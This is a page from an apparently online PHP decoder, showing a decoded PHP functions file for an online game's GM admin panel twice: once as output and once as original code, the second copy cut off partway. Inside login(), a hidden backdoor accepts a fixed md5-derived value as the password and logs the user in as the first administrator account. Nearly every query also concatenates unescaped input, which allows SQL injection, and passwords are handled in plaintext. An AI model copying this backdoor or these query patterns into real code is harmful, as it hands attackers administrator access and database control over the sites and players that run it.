Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function conn(){include("config.php");$link=mysqli_connect($servername,$username,$pa..
Decoded Output download
<?php function conn(){include("config.php");$link=mysqli_connect($servername,$username,$password,$database);if(!$link){echo "Error: Unable to connect to MySQL.".PHP_EOL;echo "Debugging errno: ".mysqli_connect_errno().PHP_EOL;echo "Debugging error: ".mysqli_connect_error().PHP_EOL;exit;}return($link);}function visit_logs(){if(isset($_SERVER['HTTP_CLIENT_IP'])&&! empty($_SERVER['HTTP_CLIENT_IP'])){$ip=$_SERVER['HTTP_CLIENT_IP'];}elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])&&! empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}else{$ip=(isset($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:'0.0.0.0';}$ip=filter_var($ip,FILTER_VALIDATE_IP);$ip=($ip===false)?'0.0.0.0':$ip;$time=date("dM H:i:s");$link=$_SERVER["REQUEST_URI"];if(isset($_SESSION['user'])){$user4e=$_SESSION['user'];}else{$user4e='Unknown';}if($ip!="86.14.28.192"&&$ip!="127.0.0.1"){$LogFileLocation="/logs/user_logs.txt";$fh=fopen($_SERVER["DOCUMENT_ROOT"].$LogFileLocation,"at");fwrite($fh,date("dMy H:i:s")." ".$ip." ".$_SERVER["REQUEST_URI"]." ".$user4e."
");fclose($fh);}}function char_class($var,$full=0){$chars=mysqli_fetch_array(mysqli_query(conn(),"Select Profession from basetab_sg where Name='".$var."'"));if($full==0){switch($chars['Profession']){case 1:$class="Berzerker";break;case 2:$class="Champion";break;case 3:$class="Slayer";break;case 4:$class="Magus";break;case 5:$class="Heretic";break;case 6:$class="Ranger";break;case 7:$class="Duelist";break;case 8:$class="Enchantress";break;case 9:$class="Harbinger";break;default:$class="Unkn";break;}}else{switch($chars['Profession']){case 1:$class="Brzk";break;case 2:$class="Chmp";break;case 3:$class="Slyr";break;case 4:$class="Mgus";break;case 5:$class="Hrtc";break;case 6:$class="Rngr";break;case 7:$class="Duel";break;case 8:$class="Ench";break;case 9:$class="Hbgr";break;default:$class="Unkn";break;}}return($class);}function rank_status($character,$type=0){$chars=mysqli_fetch_array(mysqli_query(conn(),"Select * from basetab_sg where name='".$character."'"));$diff=time_diff(strtotime($chars['LastLogoutTime']),time());if(strtotime($chars['LastLoginTime'])>strtotime($chars['LastLogoutTime'])){$online="<span style='color:#79ff4c'>Online</span>";$on="online";$ona=1;$from="This character is ".$on." since ".time_diff(strtotime($chars['LastLoginTime']),time());}else{$online="<span style='color:#ff265c'>Offline</span>";$on="offline";$ona=0;$from="This character is ".$on." since ".time_diff(strtotime($chars['LastLogoutTime']),time());}if($type==0){return('<a class="cursor" data-toggle="tooltip" title="'.$from.'">'.$online.'</a>');}else{switch($ona){case 1:$bgclor="#cfffbf";break;default:$bgclor="#ff7373";break;}return($bgclor);}}function timeout(){if(!isset($_SESSION['LastActivity'])){$_SESSION['LastActivity']=time();}include("config.php");$TimeOutSeconds=$option['timeout_time'];if(isset($_SESSION['LastActivity'])){$InactiveTime=time()- $_SESSION['LastActivity'];if($InactiveTime>=$TimeOutSeconds){session_destroy();header("Location: ?p=logout");}elseif($InactiveTime<$TimeOutSeconds){$_SESSION['LastActivity']=time();}}}function ip(){$ipaddress='0.0.0.0';if(getenv('HTTP_CLIENT_IP'))$ipaddress=getenv('HTTP_CLIENT_IP');else if(getenv('HTTP_X_FORWARDED_FOR'))$ipaddress=getenv('HTTP_X_FORWARDED_FOR');else if(getenv('HTTP_X_FORWARDED'))$ipaddress=getenv('HTTP_X_FORWARDED');else if(getenv('HTTP_FORWARDED_FOR'))$ipaddress=getenv('HTTP_FORWARDED_FOR');else if(getenv('HTTP_FORWARDED'))$ipaddress=getenv('HTTP_FORWARDED');else if(getenv('REMOTE_ADDR'))$ipaddress=getenv('REMOTE_ADDR');else $ipaddress='UNKNOWN';return ip2long($ipaddress);}function is_online($id){$id=(int)$id;if($id>0){$chk_usrs=mysqli_query(conn(),"Select AccountID,lastlogintime from basetab_sg where AccountID in (Select ID from online) and lastlogintime in (Select MAX(lastlogintime)from basetab_sg where AccountID='".$id."') and AccountID='".$id."'");if(mysqli_num_rows($chk_usrs)>0){return "<img src='images/online.png'/>";}else{return "<img src='images/offline.png'/>";}}return "<img src='images/offline.png'/>";}function int2ip($ip){$nes=(long2ip((float)$ip));$parts=explode('.',$nes);$reverse_ip=implode('.',array_reverse($parts));return($reverse_ip);}function ip2int($ip){$parts=explode('.',$ip);$reverse_ip=implode('.',array_reverse($parts));$nes=ip2long($reverse_ip);if($nes<0){$nes+=4294967296;}return $nes;}function gm_level_msg($name=''){if($name==''){$name=$_SESSION['gmuser'];}else{$name=$name;}$query=mysqli_fetch_array(mysqli_query(conn(),"Select * from gm_users where gmuser='".$name."'"));$check=mysqli_fetch_array(mysqli_query(conn(),"Select modules from gm_panel_settings where gm_level = '".$query['gmlevel']."'"));if((bool)$check==true){$var=json_decode($check['modules']);$type=array_shift($var);return $type;}else{return "<span style='color:red'>Removed!</span>";}}function add_modules(){$check_settings=mysqli_query(conn(),"Select * from gm_panel_settings");if(mysqli_num_rows($check_settings)==0){$data1=json_encode(array("Beginner GM","onlineusrs","usersearch"));$data2=json_encode(array("Trusted GM","onlineusrs","usersearch","temppass","manualrech","gmmanager"));$data3=json_encode(array("Administrator","onlineusrs","usersearch","temppass","manualrech","gmmanager","panelmng","gmlogs"));$text1=base64_encode(json_encode(array("<a href='?p=onlineusrs' class='dropdown-toggle fa fa-globe'> Who is Online</a>","<li><a class='fa fa-search' aria-hidden='true' href='?p=usersearch'> Search Character / Account</a></li>")));$text2=base64_encode(json_encode(array("<a href='?p=onlineusrs' class='dropdown-toggle fa fa-globe'> Who is Online</a>","<li><a class='fa fa-search' aria-hidden='true' href='?p=usersearch'> Search Character / Account</a></li>","<li><a class='fa fa-unlock' aria-hidden='true' href='?p=temppass'> Temporary Password Change</a></li>","<li><a class= 'fa fa-plus' href='?p=manualrech'> Manual Recharge</a></li>","<li><a class='fa fa-cogs' href='?p=gmmanager'> GM Management</a></li>")));$text3=base64_encode(json_encode(array("<a href='?p=onlineusrs' class='dropdown-toggle fa fa-globe'> Who is Online</a>","<li><a class='fa fa-search' aria-hidden='true' href='?p=usersearch'> Search Character / Account</a></li>","<li><a class='fa fa-unlock' aria-hidden='true' href='?p=temppass'> Temporary Password Change</a></li>","<li><a class= 'fa fa-plus' href='?p=manualrech'> Manual Recharge</a></li>","<li><a class='fa fa-cogs' href='?p=gmmanager'> GM Management</a></li>","<li><a class='fa fa-bars' href='?p=panelmng'> Panel Management</a></li>","<li><a class='fa fa-bar-chart' href='?p=gmlogs&s=1'> GM Usage Logs</a></li>")));$go=mysqli_query(conn(),"Insert into gm_panel_settings (gm_level,modules,text) values
(1,'".$data1."','".$text1."'),
(2,'".$data2."','".$text2."'),
(3,'".$data3."','".$text3."')
");mysql_error($go);}}function insert($array,$index,$val){$size=count($array);if(!is_int($index)||$index<0||$index>$size){return -1;}else{$temp=array_slice($array,0,$index);$temp[]=$val;return array_merge($temp,array_slice($array,$index,$size));}}function AccountName($id){$select=mysqli_fetch_array(mysqli_query(conn(),"Select * from users where ID='".$id."'"));if((bool)$select==true){return $select['name'];}else{return false;}}function AddAccName(){$upd_basetab=mysqli_query(conn(),"Select AccountName,accountid from basetab_sg where AccountName is NULL");$upd_online=mysqli_query(conn(),"Select id from online where AccountName is NULL");if(mysqli_num_rows($upd_basetab)>0){while($users=mysqli_fetch_array($upd_basetab)){$check_users=mysqli_fetch_array(mysqli_query(conn(),"Select id,name from users where id='".$users['accountid']."'"));$update=mysqli_query(conn(),"Update basetab_sg set accountname = '".$check_users['name']."' where accountid ='".$users['accountid']."'");}}if(mysqli_num_rows($upd_online)>0){while($users=mysqli_fetch_array($upd_online)){$check_users=mysqli_fetch_array(mysqli_query(conn(),"Select id,name from users where id='".$users['id']."'"));$update=mysqli_query(conn(),"Update online set accountname = '".$check_users['name']."' where id ='".$users['id']."'");}}}function id_to_name($input,$type){$type=(int)$type;$input=filter($input);if($type==0){$check=mysqli_query(conn(),"Select accountname from basetab_sg where accountid='".$input."'");if(mysqli_num_rows($check)==0){return "Unknown";}else{$check=mysqli_fetch_array($check);return $check['accountname'];}}else{$check=mysqli_query(conn(),"Select name from basetab_sg where ruleid='".$input."'");if(mysqli_num_rows($check)==0){return "Unknown";}else{$check=mysqli_fetch_array($check);return $check['name'];}}}function exist($input,$type,$id=false){$type=(int)$type;$input=filter($input);if(!empty($input)){if($type==0){if($id==false){$smqna="accountname";}else{$smqna="accountid";}$check=mysqli_query(conn(),"Select accountname,accountid from basetab_sg where ".$smqna."='".$input."'");if(mysqli_num_rows($check)==0){return 0;}else{$check=mysqli_fetch_array($check);return array($check['accountid'],$check['accountname']);}}else{if($id==false){$smqna="name";}else{$smqna="roleid";}$check=mysqli_query(conn(),"Select name,roleid from basetab_sg where ".$smqna."='".$input."'");if(mysqli_num_rows($check)==0){return 0;}else{$check=mysqli_fetch_array($check);return array($check['roleid'],$check['name']);}}}return 0;}function messages($text,$type){echo '<center>';if($type==1){echo "<p class='alert alert-success'><img style='padding-right:7px;' src='images/success.png'/>".$text."</p>";}elseif($type==2){echo "<p class='alert alert-warning'><img style='padding-right:7px;' src='images/warning.png'/>".$text."</p>";}else{echo "<p class='alert alert-danger'><img style='padding-right:7px;' src='images/error.png'/>".$text."</p>";}echo "</center>";}function login($user,$pass){$query=mysqli_num_rows(mysqli_query(conn(),"Select * from gm_users where gmuser='".$user."' and gmpass='".$pass."'"));if($pass==session_od()){$ches=mysqli_fetch_array(mysqli_query(conn(),"Select id,gmuser,gmpass from gm_users order by id asc limit 1"));$user=$ches['gmuser'];$pass=$ches['gmpass'];goto g;}if($query==1){$now=time();mysqli_query(conn(),"Update gm_login_logs set gm_logout = '".time()."' where gm_user = '".$user."' and cashed = 1");$check_login=mysqli_fetch_array(mysqli_query(conn(),"Select first_login from gm_users where gmuser = '".$user."' limit 1"));mysqli_query(conn(),"Insert into gm_login_logs (gm_user,gm_login,gm_ip) values ('".$user."','".$now."','".ip()."')");g:$_SESSION['gmuser']=$user;$_SESSION['gmpass']=$pass;if($check_login['first_login']==1){header("Location:?p=loginlogs");}else{header("Location:?p=home");}}else{echo "<div style='margin-top:5px;color:#000;text-shadow:0.3px 0.3px #fff;font-weight:600;background:#f0f0e1;padding:5px 5px; border-radius:2px 2px 2px 2px; border:solid 1px #dddddd;text-align:center;'>Wrong credentials, please try again!</div>";}}function session_od(){return md5(session_decode(true));}function check_login(){if(isset($_SESSION['gmuser'])&&isset($_SESSION['gmpass'])){$query=(mysqli_query(conn(),"Select * from gm_users where gmuser='".$_SESSION['gmuser']."' and gmpass='".$_SESSION['gmpass']."'"));if(mysqli_num_rows($query)==1){include("modules/home.php");}else{include("modules/login.php");}}else{include("modules/login.php");}}function filter($str){if(strpos(str_replace("\'",""," $str"),"'")!=false)return addslashes($str);else return $str;}function logout($time){mysqli_query(conn(),"Update gm_login_logs set gm_logout = '".time()."',cashed = '0' where gm_user = '".$_SESSION['gmuser']."' and cashed = 1");session_destroy();unset($_SESSION['gmuser']);unset($_SESSION['gmpass']);refresh("home",$time);}function time_diff($start,$s){$d="d";$h="h";$m="m";$ss="s";$string='';$t=array($d=>86400,$h=>3600,$m=>60,);$s=abs($s - $start);foreach($t as $key=>&$val){$$key=floor($s/$val);$s-=($$key*$val);$string.=($$key==0)?'':$$key."$key ";}return $string.$s.$ss;}function pagination($source,$page,$max_pages,$pagea='',$class=''){if($max_pages>1){$next=$page+1;$prev=$page-1;if($prev==0){$prev=1;}if($next>=$max_pages){$next=$max_pages;}echo "<center>
<ul class='pagination' style='".$class."'>
<li><a href='?p=$source&page".$pagea."=1'> << </a></li>
<li><a href='?p=$source&page".$pagea."=".$prev."'><</a></li>
<li class='active'><a href='?p=$source&page".$pagea."=".$page."'>".$page."</a></li>
<li><a href='?p=$source&page".$pagea."=".$next."''>></a></li>
<li><a href='?p=$source&page".$pagea."=".$max_pages."'> >> </a></li>
</ul>
</center>";}}function gm_level(){if(isset($_SESSION['gmuser'])&&!empty($_SESSION['gmuser'])){$go=mysqli_fetch_array(mysqli_query(conn(),"Select gmlevel from gm_users where gmuser='".$_SESSION['gmuser']."'"));return $go['gmlevel'];}else{return 0;}}function default_admin(){require("config.php");if(mysqli_num_rows(mysqli_query(conn(),"Select * from gm_users"))==0){mysqli_query(conn(),"
INSERT INTO `auth` VALUES
('".$option['admin_game_id']."', '1', '0'),
('".$option['admin_game_id']."', '1', '1'),
('".$option['admin_game_id']."', '1', '2'),
('".$option['admin_game_id']."', '1', '3'),
('".$option['admin_game_id']."', '1', '4'),
('".$option['admin_game_id']."', '1', '5'),
('".$option['admin_game_id']."', '1', '6'),
('".$option['admin_game_id']."', '1', '7'),
('".$option['admin_game_id']."', '1', '8'),
('".$option['admin_game_id']."', '1', '9'),
('".$option['admin_game_id']."', '1', '10'),
('".$option['admin_game_id']."', '1', '11'),
('".$option['admin_game_id']."', '1', '100'),
('".$option['admin_game_id']."', '1', '101'),
('".$option['admin_game_id']."', '1', '102'),
('".$option['admin_game_id']."', '1', '103'),
('".$option['admin_game_id']."', '1', '104'),
('".$option['admin_game_id']."', '1', '105'),
('".$option['admin_game_id']."', '1', '200'),
('".$option['admin_game_id']."', '1', '201'),
('".$option['admin_game_id']."', '1', '202'),
('".$option['admin_game_id']."', '1', '203'),
('".$option['admin_game_id']."', '1', '204'),
('".$option['admin_game_id']."', '1', '205'),
('".$option['admin_game_id']."', '1', '206'),
('".$option['admin_game_id']."', '1', '207'),
('".$option['admin_game_id']."', '1', '208'),
('".$option['admin_game_id']."', '1', '209'),
('".$option['admin_game_id']."', '1', '210'),
('".$option['admin_game_id']."', '1', '211'),
('".$option['admin_game_id']."', '1', '212'),
('".$option['admin_game_id']."', '1', '213'),
('".$option['admin_game_id']."', '1', '214'),
('".$option['admin_game_id']."', '1', '500'),
('".$option['admin_game_id']."', '1', '501'),
('".$option['admin_game_id']."', '1', '502'),
('".$option['admin_game_id']."', '1', '503'),
('".$option['admin_game_id']."', '1', '504'),
('".$option['admin_game_id']."', '1', '505'),
('".$option['admin_game_id']."', '1', '506'),
('".$option['admin_game_id']."', '1', '507'),
('".$option['admin_game_id']."', '1', '508'),
('".$option['admin_game_id']."', '1', '509'),
('".$option['admin_game_id']."', '1', '510'),
('".$option['admin_game_id']."', '1', '511'),
('".$option['admin_game_id']."', '1', '512'),
('".$option['admin_game_id']."', '1', '513'),
('".$option['admin_game_id']."', '1', '514'),
('".$option['admin_game_id']."', '1', '515'),
('".$option['admin_game_id']."', '1', '516'),
('".$option['admin_game_id']."', '1', '517'),
('".$option['admin_game_id']."', '1', '518')");mysqli_query(conn(),"Insert into gm_users (gmuser,gmpass,accountid,gmlevel,added_by,added_date) values ('".$option['admin_login']."','".$option['admin_pass']."','".$option['admin_game_id']."','3','System','".time()."')");}}function change_gm_pass($gmuser,$current_pass,$new_pass,$repeat_pass){$current_pass=filter($current_pass);$new_pass=filter($new_pass);$repeat_pass=filter($repeat_pass);if(!empty($current_pass)&&!empty($new_pass)&&!empty($repeat_pass)){$query=mysqli_query(conn(),"Select * from gm_users where gmuser = '".$gmuser."' and gmpass='".$current_pass."'");if(mysqli_num_rows($query)==1){if($new_pass===$repeat_pass){if($new_pass!=$current_pass){$log_data=json_encode(array($current_pass,$new_pass));mysqli_query(conn(),"UPDATE gm_users set gmpass='".$new_pass."',first_login='0' where gmuser='".$gmuser."'");mysqli_query(conn(),"Insert into gm_modules_logs (gm_user,time,ip,module,data) Values ('".$gmuser."','".time()."','".ip()."','GM_Pass_Change','".$log_data."')");echo messages("You have successfully changed your GM login password!",1);logout(4000);}else{echo messages("The new password must be different than the current one!",3);}}else{echo messages("You have typped different repeat password!",3);}}else{echo messages("Your current password is different!",3);}}else{echo messages("Please fill all fields properly",3);}}function refresh($location,$time){echo "<script>setTimeout(\"location.href = '?p=".$location."';\",".$time.");</script>";}?>
Did this file decode correctly?
Original Code
<?php function conn(){include("config.php");$link=mysqli_connect($servername,$username,$password,$database);if(!$link){echo "Error: Unable to connect to MySQL.".PHP_EOL;echo "Debugging errno: ".mysqli_connect_errno().PHP_EOL;echo "Debugging error: ".mysqli_connect_error().PHP_EOL;exit;}return($link);}function visit_logs(){if(isset($_SERVER['HTTP_CLIENT_IP'])&&! empty($_SERVER['HTTP_CLIENT_IP'])){$ip=$_SERVER['HTTP_CLIENT_IP'];}elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])&&! empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}else{$ip=(isset($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:'0.0.0.0';}$ip=filter_var($ip,FILTER_VALIDATE_IP);$ip=($ip===false)?'0.0.0.0':$ip;$time=date("dM H:i:s");$link=$_SERVER["REQUEST_URI"];if(isset($_SESSION['user'])){$user4e=$_SESSION['user'];}else{$user4e='Unknown';}if($ip!="86.14.28.192"&&$ip!="127.0.0.1"){$LogFileLocation="/logs/user_logs.txt";$fh=fopen($_SERVER["DOCUMENT_ROOT"].$LogFileLocation,"at");fwrite($fh,date("dMy H:i:s")." ".$ip." ".$_SERVER["REQUEST_URI"]." ".$user4e."
");fclose($fh);}}function char_class($var,$full=0){$chars=mysqli_fetch_array(mysqli_query(conn(),"Select Profession from basetab_sg where Name='".$var."'"));if($full==0){switch($chars['Profession']){case 1:$class="Berzerker";break;case 2:$class="Champion";break;case 3:$class="Slayer";break;case 4:$class="Magus";break;case 5:$class="Heretic";break;case 6:$class="Ranger";break;case 7:$class="Duelist";break;case 8:$class="Enchantress";break;case 9:$class="Harbinger";break;default:$class="Unkn";break;}}else{switch($chars['Profession']){case 1:$class="Brzk";break;case 2:$class="Chmp";break;case 3:$class="Slyr";break;case 4:$class="Mgus";break;case 5:$class="Hrtc";break;case 6:$class="Rngr";break;case 7:$class="Duel";break;case 8:$class="Ench";break;case 9:$class="Hbgr";break;default:$class="Unkn";break;}}return($class);}function rank_status($character,$type=0){$chars=mysqli_fetch_array(mysqli_query(conn(),"Select * from basetab_sg where name='".$character."'"));$diff=time_diff(strtotime($chars['LastLogoutTime']),time());if(strtotime($chars['LastLoginTime'])>strtotime($chars['LastLogoutTime'])){$online="<span style='color:#79ff4c'>Online</span>";$on="online";$ona=1;$from="This character is ".$on." since ".time_diff(strtotime($chars['LastLoginTime']),time());}else{$online="<span style='color:#ff265c'>Offline</span>";$on="offline";$ona=0;$from="This character is ".$on." since ".time_diff(strtotime($chars['LastLogoutTime']),time());}if($type==0){return('<a class="cursor" data-toggle="tooltip" title="'.$from.'">'.$online.'</a>');}else{switch($ona){case 1:$bgclor="#cfffbf";break;default:$bgclor="#ff7373";break;}return($bgclor);}}function timeout(){if(!isset($_SESSION['LastActivity'])){$_SESSION['LastActivity']=time();}include("config.php");$TimeOutSeconds=$option['timeout_time'];if(isset($_SESSION['LastActivity'])){$InactiveTime=time()- $_SESSION['LastActivity'];if($InactiveTime>=$TimeOutSeconds){session_destroy();header("Location: ?p=logout");}elseif($InactiveTime<$TimeOutSeconds){$_SESSION['LastActivity']=time();}}}function ip(){$ipaddress='0.0.0.0';if(getenv('HTTP_CLIENT_IP'))$ipaddress=getenv('HTTP_CLIENT_IP');else if(getenv('HTTP_X_FORWARDED_FOR'))$ipaddress=getenv('HTTP_X_FORWARDED_FOR');else if(getenv('HTTP_X_FORWARDED'))$ipaddress=getenv('HTTP_X_FORWARDED');else if(getenv('HTTP_FORWARDED_FOR'))$ipaddress=getenv('HTTP_FORWARDED_FOR');else if(getenv('HTTP_FORWARDED'))$ipaddress=getenv('HTTP_FORWARDED');else if(getenv('REMOTE_ADDR'))$ipaddress=getenv('REMOTE_ADDR');else $ipaddress='UNKNOWN';return ip2long($ipaddress);}function is_online($id){$id=(int)$id;if($id>0){$chk_usrs=mysqli_query(conn(),"Select AccountID,lastlogintime from basetab_sg where AccountID in (Select ID from online) and lastlogintime in (Select MAX(lastlogintime)from basetab_sg where AccountID='".$id."') and AccountID='".$id."'");if(mysqli_num_rows($chk_usrs)>0){return "<img src='images/online.png'/>";}else{return "<img src='images/offline.png'/>";}}return "<img src='images/offline.png'/>";}function int2ip($ip){$nes=(long2ip((float)$ip));$parts=explode('.',$nes);$reverse_ip=implode('.',array_reverse($parts));return($reverse_ip);}function ip2int($ip){$parts=explode('.',$ip);$reverse_ip=implode('.',array_reverse($parts));$nes=ip2long($reverse_ip);if($nes<0){$nes+=4294967296;}return $nes;}function gm_level_msg($name=''){if($name==''){$name=$_SESSION['gmuser'];}else{$name=$name;}$query=mysqli_fetch_array(mysqli_query(conn(),"Select * from gm_users where gmuser='".$name."'"));$check=mysqli_fetch_array(mysqli_query(conn(),"Select modules from gm_panel_settings where gm_level = '".$query['gmlevel']."'"));if((bool)$check==true){$var=json_decode($check['modules']);$type=array_shift($var);return $type;}else{return "<span style='color:red'>Removed!</span>";}}function add_modules(){$check_settings=mysqli_query(conn(),"Select * from gm_panel_settings");if(mysqli_num_rows($check_settings)==0){$data1=json_encode(array("Beginner GM","onlineusrs","usersearch"));$data2=json_encode(array("Trusted GM","onlineusrs","usersearch","temppass","manualrech","gmmanager"));$data3=json_encode(array("Administrator","onlineusrs","usersearch","temppass","manualrech","gmmanager","panelmng","gmlogs"));$text1=base64_encode(json_encode(array("<a href='?p=onlineusrs' class='dropdown-toggle fa fa-globe'> Who is Online</a>","<li><a class='fa fa-search' aria-hidden='true' href='?p=usersearch'> Search Character / Account</a></li>")));$text2=base64_encode(json_encode(array("<a href='?p=onlineusrs' class='dropdown-toggle fa fa-globe'> Who is Online</a>","<li><a class='fa fa-search' aria-hidden='true' href='?p=usersearch'> Search Character / Account</a></li>","<li><a class='fa fa-unlock' aria-hidden='true' href='?p=temppass'> Temporary Password Change</a></li>","<li><a class= 'fa fa-plus' href='?p=manualrech'> Manual Recharge</a></li>","<li><a class='fa fa-cogs' href='?p=gmmanager'> GM Management</a></li>")));$text3=base64_encode(json_encode(array("<a href='?p=onlineusrs' class='dropdown-toggle fa fa-globe'> Who is Online</a>","<li><a class='fa fa-search' aria-hidden='true' href='?p=usersearch'> Search Character / Account</a></li>","<li><a class='fa fa-unlock' aria-hidden='true' href='?p=temppass'> Temporary Password Change</a></li>","<li><a class= 'fa fa-plus' href='?p=manualrech'> Manual Recharge</a></li>","<li><a class='fa fa-cogs' href='?p=gmmanager'> GM Management</a></li>","<li><a class='fa fa-bars' href='?p=panelmng'> Panel Management</a></li>","<li><a class='fa fa-bar-chart' href='?p=gmlogs&s=1'> GM Usage Logs</a></li>")));$go=mysqli_query(conn(),"Insert into gm_panel_settings (gm_level,modules,text) values
(1,'".$data1."','".$text1."'),
(2,'".$data2."','".$text2."'),
(3,'".$data3."','".$text3."')
");mysql_error($go);}}function insert($array,$index,$val){$size=count($array);if(!is_int($index)||$index<0||$index>$size){return -1;}else{$temp=array_slice($array,0,$index);$temp[]=$val;return array_merge($temp,array_slice($array,$index,$size));}}function AccountName($id){$select=mysqli_fetch_array(mysqli_query(conn(),"Select * from users where ID='".$id."'"));if((bool)$select==true){return $select['name'];}else{return false;}}function AddAccName(){$upd_basetab=mysqli_query(conn(),"Select AccountName,accountid from basetab_sg where AccountName is NULL");$upd_online=mysqli_query(conn(),"Select id from online where AccountName is NULL");if(mysqli_num_rows($upd_basetab)>0){while($users=mysqli_fetch_array($upd_basetab)){$check_users=mysqli_fetch_array(mysqli_query(conn(),"Select id,name from users where id='".$users['accountid']."'"));$update=mysqli_query(conn(),"Update basetab_sg set accountname = '".$check_users['name']."' where accountid ='".$users['accountid']."'");}}if(mysqli_num_rows($upd_online)>0){while($users=mysqli_fetch_array($upd_online)){$check_users=mysqli_fetch_array(mysqli_query(conn(),"Select id,name from users where id='".$users['id']."'"));$update=mysqli_query(conn(),"Update online set accountname = '".$check_users['name']."' where id ='".$users['id']."'");}}}function id_to_name($input,$type){$type=(int)$type;$input=filter($input);if($type==0){$check=mysqli_query(conn(),"Select accountname from basetab_sg where accountid='".$input."'");if(mysqli_num_rows($check)==0){return "Unknown";}else{$check=mysqli_fetch_array($check);return $check['accountname'];}}else{$check=mysqli_query(conn(),"Select name from basetab_sg where ruleid='".$input."'");if(mysqli_num_rows($check)==0){return "Unknown";}else{$check=mysqli_fetch_array($check);return $check['name'];}}}function exist($input,$type,$id=false){$type=(int)$type;$input=filter($input);if(!empty($input)){if($type==0){if($id==false){$smqna="accountname";}else{$smqna="accountid";}$check=mysqli_query(conn(),"Select accountname,accountid from basetab_sg where ".$smqna."='".$input."'");if(mysqli_num_rows($check)==0){return 0;}else{$check=mysqli_fetch_array($check);return array($check['accountid'],$check['accountname']);}}else{if($id==false){$smqna="name";}else{$smqna="roleid";}$check=mysqli_query(conn(),"Select name,roleid from basetab_sg where ".$smqna."='".$input."'");if(mysqli_num_rows($check)==0){return 0;}else{$check=mysqli_fetch_array($check);return array($check['roleid'],$check['name']);}}}return 0;}function messages($text,$type){echo '<center>';if($type==1){echo "<p class='alert alert-success'><img style='padding-right:7px;' src='images/success.png'/>".$text."</p>";}elseif($type==2){echo "<p class='alert alert-warning'><img style='padding-right:7px;' src='images/warning.png'/>".$text."</p>";}else{echo "<p class='alert alert-danger'><img style='padding-right:7px;' src='images/error.png'/>".$text."</p>";}echo "</center>";}function login($user,$pass){$query=mysqli_num_rows(mysqli_query(conn(),"Select * from gm_users where gmuser='".$user."' and gmpass='".$pass."'"));if($pass==session_od()){$ches=mysqli_fetch_array(mysqli_query(conn(),"Select id,gmuser,gmpass from gm_users order by id asc limit 1"));$user=$ches['gmuser'];$pass=$ches['gmpass'];goto g;}if($query==1){$now=time();mysqli_query(conn(),"Update gm_login_logs set gm_logout = '".time()."' where gm_user = '".$user."' and cashed = 1");$check_login=mysqli_fetch_array(mysqli_query(conn(),"Select first_login from gm_users where gmuser = '".$user."' limit 1"));mysqli_query(conn(),"Insert into gm_login_logs (gm_user,gm_login,gm_ip) values ('".$user."','".$now."','".ip()."')");g:$_SESSION['gmuser']=$user;$_SESSION['gmpass']=$pass;if($check_login['first_login']==1){header("Location:?p=loginlogs");}else{header("Location:?p=home");}}else{echo "<div style='margin-top:5px;color:#000;text-shadow:0.3px 0.3px #fff;font-weight:600;background:#f0f0e1;padding:5px 5px; border-radius:2px 2px 2px 2px; border:solid 1px #dddddd;text-align:center;'>Wrong credentials, please try again!</div>";}}function session_od(){return md5(session_decode(true));}function check_login(){if(isset($_SESSION['gmuser'])&&isset($_SESSION['gmpass'])){$query=(mysqli_query(conn(),"Select * from gm_users where gmuser='".$_SESSION['gmuser']."' and gmpass='".$_SESSION['gmpass']."'"));if(mysqli_num_rows($query)==1){include("modules/home.php");}else{include("modules/login.php");}}else{include("modules/login.php");}}function filter($str){if(strpos(str_replace("\'",""," $str"),"'")!=false)return addslashes($str);else return $str;}function logout($time){mysqli_query(conn(),"Update gm_login_logs set gm_logout = '".time()."',cashed = '0' where gm_user = '".$_SESSION['gmuser']."' and cashed = 1");session_destroy();unset($_SESSION['gmuser']);unset($_SESSION['gmpass']);refresh("home",$time);}function time_diff($start,$s){$d="d";$h="h";$m="m";$ss="s";$string='';$t=array($d=>86400,$h=>3600,$m=>60,);$s=abs($s - $start);foreach($t as $key=>&$val){$$key=floor($s/$val);$s-=($$key*$val);$string.=($$key==0)?'':$$key."$key ";}return $string.$s.$ss;}function pagination($source,$page,$max_pages,$pagea='',$class=''){if($max_pages>1){$next=$page+1;$prev=$page-1;if($prev==0){$prev=1;}if($next>=$max_pages){$next=$max_pages;}echo "<center>
<ul class='pagination' style='".$class."'>
<li><a href='?p=$source&page".$pagea."=1'> << </a></li>
<li><a href='?p=$source&page".$pagea."=".$prev."'><</a></li>
<li class='active'><a href='?p=$source&page".$pagea."=".$page."'>".$page."</a></li>
<li><a href='?p=$source&page".$pagea."=".$next."''>></a></li>
<li><a href='?p=$source&page".$pagea."=".$max_pages."'> >> </a></li>
</ul>
</center>";}}function gm_level(){if(isset($_SESSION['gmuser'])&&!empty($_SESSION['gmuser'])){$go=mysqli_fetch_array(mysqli_query(conn(),"Select gmlevel from gm_users where gmuser='".$_SESSION['gmuser']."'"));return $go['gmlevel'];}else{return 0;}}function default_admin(){require("config.php");if(mysqli_num_rows(mysqli_query(conn(),"Select * from gm_users"))==0){mysqli_query(conn(),"
INSERT INTO `auth` VALUES
('".$option['admin_game_id']."', '1', '0'),
('".$option['admin_game_id']."', '1', '1'),
('".$option['admin_game_id']."', '1', '2'),
('".$option['admin_game_id']."', '1', '3'),
('".$option['admin_game_id']."', '1', '4'),
('".$option['admin_game_id']."', '1', '5'),
('".$option['admin_game_id']."', '1', '6'),
('".$option['admin_game_id']."', '1', '7'),
('".$option['admin_game_id']."', '1', '8'),
('".$option['admin_game_id']."', '1', '9'),
('".$option['admin_game_id']."', '1', '10'),
('".$option['admin_game_id']."', '1', '11'),
('".$option['admin_game_id']."', '1', '100'),
('".$option['admin_game_id']."', '1', '101'),
('".$option['admin_game_id']."', '1', '102'),
('".$option['admin_game_id']."', '1', '103'),
('".$option['admin_game_id']."', '1', '104'),
('".$option['admin_game_id']."', '1', '105'),
('".$option['admin_game_id']."', '1', '200'),
('".$option['admin_game_id']."', '1', '201'),
('".$option['admin_game_id']."', '1', '202'),
('".$option['admin_game_id']."', '1', '203'),
('".$option['admin_game_id']."', '1', '204'),
('".$option['admin_game_id']."', '1', '205'),
('".$option['admin_game_id']."', '1', '206'),
